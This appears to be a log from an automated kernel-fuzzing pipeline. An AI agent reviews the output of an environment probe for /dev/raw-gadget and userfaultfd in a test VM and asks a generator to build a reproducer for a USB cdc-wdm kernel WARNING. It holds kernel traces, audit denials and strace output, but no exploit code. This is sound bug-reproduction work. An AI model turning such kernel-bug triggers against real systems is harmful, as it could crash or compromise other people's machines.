[ 62.233475][ T33] audit: type=1400 audit(1789164320.243:204): avc: denied { siginh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:24529' (ED25519) to the list of known hosts.
[ 64.688792][ T33] audit: type=1400 audit(1789164322.733:205): avc: denied { read write } for pid=5841 comm="syz-executor408" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[*] Probing for /dev/raw-gadget...
[+] /dev/raw-gadget opened successfully.
[*] Probing for userfaultfd...
[+] userfaultfd created successfully.
[+] All probes passed.
[ 64.697002][ T33] audit: type=1400 audit(1789164322.733:206): avc: denied { open } for pid=5841 comm="syz-executor408" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.697026][ T33] audit: type=1400 audit(1789164322.733:207): avc: denied { create } for pid=5841 comm="syz-executor408" anonclass=[userfaultfd] scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:sysadm_t tclass=anon_inode permissive=1
[ 65.807669][ T33] audit: type=1400 audit(1789164323.853:208): avc: denied { write } for pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.843425][ T33] audit: type=1400 audit(1789164323.883:209): avc: denied { write } for pid=5845 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.099768][ T33] audit: type=1400 audit(1789164324.143:210): avc: denied { write } for pid=5848 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.421071][ T33] kauditd_printk_skb: 9 callbacks suppressed
[ 67.423451][ T33] audit: type=1400 audit(1789164325.463:220): avc: denied { write } for pid=5878 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.457628][ T33] audit: type=1400 audit(1789164325.503:221): avc: denied { write } for pid=5881 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.664695][ T33] audit: type=1400 audit(1789164325.703:222): avc: denied { write } for pid=5884 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.700683][ T33] audit: type=1400 audit(1789164325.743:223): avc: denied { write } for pid=5887 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 71.556681][ T1383] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.556759][ T1383] ieee802154 phy1 wpan1: encryption failed: -22
OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2656137763
<...>
[ 62.021672][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 62.023955][ T33] audit: type=1400 audit(1789164398.596:201): avc: denied { transition } for pid=5830 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.030696][ T33] audit: type=1400 audit(1789164398.596:202): avc: denied { noatsecure } for pid=5830 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.030714][ T33] audit: type=1400 audit(1789164398.596:203): avc: denied { rlimitinh } for pid=5830 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.030728][ T33] audit: type=1400 audit(1789164398.596:204): avc: denied { siginh } for pid=5830 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 65.320068][ T33] audit: type=1400 audit(1789164401.896:205): avc: denied { write } for pid=5844 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.365875][ T33] audit: type=1400 audit(1789164401.936:206): avc: denied { write } for pid=5848 comm="rm" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:1977' (ED25519) to the list of known hosts.
[ 65.442372][ T33] audit: type=1400 audit(1789164402.016:207): avc: denied { write } for pid=5852 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.491237][ T33] audit: type=1400 audit(1789164402.066:208): avc: denied { write } for pid=5856 comm="rm" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
execve("/syz-executor2656137763", ["/syz-executor2656137763"], 0x7fffdb1e0bb0 /* 11 vars */) = 0
brk(NULL) = 0x555591a24000
brk(0x555591a24d80) = 0x555591a24d80
arch_prctl(ARCH_SET_FS, 0x555591a24400) = 0
set_tid_address(0x555591a246d0) = 5861
set_robust_list(0x555591a246e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2656137763", 4096) = 23
getrandom("\x07\x60\x94\x8d\x51\x4e\x75\x97", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x555591a24d80
brk(0x555591a45d80) = 0x555591a45d80
brk(0x555591a46000) = 0x555591a46000
mprotect(0x7f311c593000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
[ 65.613429][ T33] audit: type=1400 audit(1789164402.186:209): avc: denied { read write } for pid=5861 comm="syz-executor265" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
openat(AT_FDCWD, "/dev/raw-gadget", O_RDWR) = 3
[ 65.618302][ T33] audit: type=1400 audit(1789164402.196:210): avc: denied { open } for pid=5861 comm="syz-executor265" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
close(3) = 0
userfaultfd(O_NONBLOCK|O_CLOEXEC) = 3
close(3) = 0
write(1, "[*] Probing for /dev/raw-gadget...\n[+] /dev/raw-gadget opened successfully.\n[*] Probing for userfaul"..., 168) = 168
[*] Probing for /dev/raw-gadget...
[+] /dev/raw-gadget opened successfully.
[*] Probing for userfaultfd...
[+] userfaultfd created successfully.
[+] All probes passed.
exit_group(0) = ?
+++ exited with 0 +++
[ 66.469531][ T1380] ieee802154 phy0 wpan0: encryption failed: -22
[ 66.472397][ T1380] ieee802154 phy1 wpan1: encryption failed: -22
[ 67.091715][ T33] kauditd_printk_skb: 11 callbacks suppressed
[ 67.093979][ T33] audit: type=1400 audit(1789164403.666:222): avc: denied { write } for pid=5892 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.127106][ T33] audit: type=1400 audit(1789164403.696:223): avc: denied { write } for pid=5895 comm="rm" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
TestError:]
|
| 47/3 |
2026/09/11 22:06 |
action |
truncate-log |
0m
Results: map[TruncatedConsoleOutput:[ 62.203870][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 62.206621][ T33] audit: type=1400 audit(1789164320.243:201): avc: denied { transition } for pid=5828 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.217120][ T33] audit: type=1400 audit(1789164320.243:202): avc: denied { noatsecure } for pid=5828 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.225613][ T33] audit: type=1400 audit(1789164320.243:203): avc: denied { rlimitinh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.233475][ T33] audit: type=1400 audit(1789164320.243:204): avc: denied { siginh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:24529' (ED25519) to the list of known hosts.
[ 64.688792][ T33] audit: type=1400 audit(1789164322.733:205): avc: denied { read write } for pid=5841 comm="syz-executor408" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[*] Probing for /dev/raw-gadget...
[+] /dev/raw-gadget opened successfully.
[*] Probing for userfaultfd...
[+] userfaultfd created successfully.
[+] All probes passed.
[ 64.697002][ T33] audit: type=1400 audit(1789164322.733:206): avc: denied { open } for pid=5841 comm="syz-executor408" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.697026][ T33] audit: type=1400 audit(1789164322.733:207): avc: denied { create } for pid=5841 comm="syz-executor408" anonclass=[userfaultfd] scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:sysadm_t tclass=anon_inode permissive=1
[ 65.807669][ T33] audit: type=1400 audit(1789164323.853:208): avc: denied { write } for pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.843425][ T33] audit: type=1400 audit(1789164323.883:209): avc: denied { write } for pid=5845 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.099768][ T33] audit: type=1400 audit(1789164324.143:210): avc: denied { write } for pid=5848 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.421071][ T33] kauditd_printk_skb: 9 callbacks suppressed
[ 67.423451][ T33] audit: type=1400 audit(1789164325.463:220): avc: denied { write } for pid=5878 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.457628][ T33] audit: type=1400 audit(1789164325.503:221): avc: denied { write } for pid=5881 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.664695][ T33] audit: type=1400 audit(1789164325.703:222): avc: denied { write } for pid=5884 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.700683][ T33] audit: type=1400 audit(1789164325.743:223): avc: denied { write } for pid=5887 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 71.556681][ T1383] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.556759][ T1383] ieee802154 phy1 wpan1: encryption failed: -22
TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2656137763
<...>
[ 62.021672][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 62.023955][ T33] audit: type=1400 audit(1789164398.596:201): avc: denied { transition } for pid=5830 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.030696][ T33] audit: type=1400 audit(1789164398.596:202): avc: denied { noatsecure } for pid=5830 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.030714][ T33] audit: type=1400 audit(1789164398.596:203): avc: denied { rlimitinh } for pid=5830 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.030728][ T33] audit: type=1400 audit(1789164398.596:204): avc: denied { siginh } for pid=5830 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 65.320068][ T33] audit: type=1400 audit(1789164401.896:205): avc: denied { write } for pid=5844 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.365875][ T33] audit: type=1400 audit(1789164401.936:206): avc: denied { write } for pid=5848 comm="rm" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:1977' (ED25519) to the list of known hosts.
[ 65.442372][ T33] audit: type=1400 audit(1789164402.016:207): avc: denied { write } for pid=5852 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.491237][ T33] audit: type=1400 audit(1789164402.066:208): avc: denied { write } for pid=5856 comm="rm" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
execve("/syz-executor2656137763", ["/syz-executor2656137763"], 0x7fffdb1e0bb0 /* 11 vars */) = 0
brk(NULL) = 0x555591a24000
brk(0x555591a24d80) = 0x555591a24d80
arch_prctl(ARCH_SET_FS, 0x555591a24400) = 0
set_tid_address(0x555591a246d0) = 5861
set_robust_list(0x555591a246e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2656137763", 4096) = 23
getrandom("\x07\x60\x94\x8d\x51\x4e\x75\x97", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x555591a24d80
brk(0x555591a45d80) = 0x555591a45d80
brk(0x555591a46000) = 0x555591a46000
mprotect(0x7f311c593000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
[ 65.613429][ T33] audit: type=1400 audit(1789164402.186:209): avc: denied { read write } for pid=5861 comm="syz-executor265" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
openat(AT_FDCWD, "/dev/raw-gadget", O_RDWR) = 3
[ 65.618302][ T33] audit: type=1400 audit(1789164402.196:210): avc: denied { open } for pid=5861 comm="syz-executor265" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
close(3) = 0
userfaultfd(O_NONBLOCK|O_CLOEXEC) = 3
close(3) = 0
write(1, "[*] Probing for /dev/raw-gadget...\n[+] /dev/raw-gadget opened successfully.\n[*] Probing for userfaul"..., 168) = 168
[*] Probing for /dev/raw-gadget...
[+] /dev/raw-gadget opened successfully.
[*] Probing for userfaultfd...
[+] userfaultfd created successfully.
[+] All probes passed.
exit_group(0) = ?
+++ exited with 0 +++
[ 66.469531][ T1380] ieee802154 phy0 wpan0: encryption failed: -22
[ 66.472397][ T1380] ieee802154 phy1 wpan1: encryption failed: -22
[ 67.091715][ T33] kauditd_printk_skb: 11 callbacks suppressed
[ 67.093979][ T33] audit: type=1400 audit(1789164403.666:222): avc: denied { write } for pid=5892 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.127106][ T33] audit: type=1400 audit(1789164403.696:223): avc: denied { write } for pid=5895 comm="rm" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
]
|
| 48/3 |
2026/09/11 22:06 |
agent |
repro-oracle |
0m
Model:
Results: map[Feedback:The capability probe passed successfully. Both /dev/raw-gadget and userfaultfd are available in the environment. Please proceed to generate the full reproducer for the bug 'WARNING in service_outstanding_interrupt/usb_submit_urb' using syz-usbgen or standard raw-gadget interactions as appropriate. ProbePassed:true TerminalError: TitleMatches:false]
Instruction: You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.
=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
meaning the codebase version is mismatched and the target code is absent.
=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.
=== PHASE 1: CAPABILITY PROBING (EVALUATION) ===
The executed program was a simple environment probe.
Use this to guide your classification and feedback:
1. If the execution was successful (all environment/subsystem probes passed and program exited with 0),
set the field 'ProbePassed' to true and provide feedback explicitly indicating that the environment
is ready and the agent should now proceed to generate the full reproducer in the next iteration.
2. If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
set the field 'ProbePassed' to false, and explain what failed in the 'Feedback'
field so the generator can adjust its setups.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
IsProbe: true
Reproduced: false
Console Output: [ 62.203870][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 62.206621][ T33] audit: type=1400 audit(1789164320.243:201): avc: denied { transition } for pid=5828 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.217120][ T33] audit: type=1400 audit(1789164320.243:202): avc: denied { noatsecure } for pid=5828 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.225613][ T33] audit: type=1400 audit(1789164320.243:203): avc: denied { rlimitinh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.233475][ T33] audit: type=1400 audit(1789164320.243:204): avc: denied { siginh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:24529' (ED25519) to the list of known hosts.
[ 64.688792][ T33] audit: type=1400 audit(1789164322.733:205): avc: denied { read write } for pid=5841 comm="syz-executor408" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[*] Probing for /dev/raw-gadget...
[+] /dev/raw-gadget opened successfully.
[*] Probing for userfaultfd...
[+] userfaultfd created successfully.
[+] All probes passed.
[ 64.697002][ T33] audit: type=1400 audit(1789164322.733:206): avc: denied { open } for pid=5841 comm="syz-executor408" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.697026][ T33] audit: type=1400 audit(1789164322.733:207): avc: denied { create } for pid=5841 comm="syz-executor408" anonclass=[userfaultfd] scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:sysadm_t tclass=anon_inode permissive=1
[ 65.807669][ T33] audit: type=1400 audit(1789164323.853:208): avc: denied { write } for pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.843425][ T33] audit: type=1400 audit(1789164323.883:209): avc: denied { write } for pid=5845 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.099768][ T33] audit: type=1400 audit(1789164324.143:210): avc: denied { write } for pid=5848 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.421071][ T33] kauditd_printk_skb: 9 callbacks suppressed
[ 67.423451][ T33] audit: type=1400 audit(1789164325.463:220): avc: denied { write } for pid=5878 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.457628][ T33] audit: type=1400 audit(1789164325.503:221): avc: denied { write } for pid=5881 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.664695][ T33] audit: type=1400 audit(1789164325.703:222): avc: denied { write } for pid=5884 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.700683][ T33] audit: type=1400 audit(1789164325.743:223): avc: denied { write } for pid=5887 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 71.556681][ T1383] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.556759][ T1383] ieee802154 phy1 wpan1: encryption failed: -22
Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2656137763
<...>
[ 62.021672][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 62.023955][ T33] audit: type=1400 audit(1789164398.596:201): avc: denied { transition } for pid=5830 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.030696][ T33] audit: type=1400 audit(1789164398.596:202): avc: denied { noatsecure } for pid=5830 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.030714][ T33] audit: type=1400 audit(1789164398.596:203): avc: denied { rlimitinh } for pid=5830 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.030728][ T33] audit: type=1400 audit(1789164398.596:204): avc: denied { siginh } for pid=5830 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 65.320068][ T33] audit: type=1400 audit(1789164401.896:205): avc: denied { write } for pid=5844 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.365875][ T33] audit: type=1400 audit(1789164401.936:206): avc: denied { write } for pid=5848 comm="rm" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:1977' (ED25519) to the list of known hosts.
[ 65.442372][ T33] audit: type=1400 audit(1789164402.016:207): avc: denied { write } for pid=5852 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.491237][ T33] audit: type=1400 audit(1789164402.066:208): avc: denied { write } for pid=5856 comm="rm" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
execve("/syz-executor2656137763", ["/syz-executor2656137763"], 0x7fffdb1e0bb0 /* 11 vars */) = 0
brk(NULL) = 0x555591a24000
brk(0x555591a24d80) = 0x555591a24d80
arch_prctl(ARCH_SET_FS, 0x555591a24400) = 0
set_tid_address(0x555591a246d0) = 5861
set_robust_list(0x555591a246e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
